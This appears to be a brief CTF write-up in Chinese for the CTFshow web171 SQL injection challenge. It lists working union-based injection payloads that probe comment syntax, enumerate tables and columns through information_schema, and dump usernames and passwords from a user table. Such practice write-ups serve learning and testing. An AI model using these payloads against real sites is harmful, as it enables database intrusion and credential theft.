CTFshow SQL

web171——常规操作~

2' and 1=1 # 
2' and 1=2 #
数据接口请求异常：parsererror

2' and 1=1 --+
回显正常，且爆出所有信息，说明“--+”其效果了 。“#”这种注释方式不成功


2' union select 1,2,3 -- -
成功回显1，2，3 

2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -

2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' -- -

2' union select 1,group_concat(id,username,password),3 from ctfshow_user -- -

原来真的输入表格的位置也会有注入点存在，
表格和里面的字段几乎就是你想怎么选，就怎么选的程度
2'union select 1,group_concat（你的性别，你的年龄，你的XX）from 某个神奇的表格--+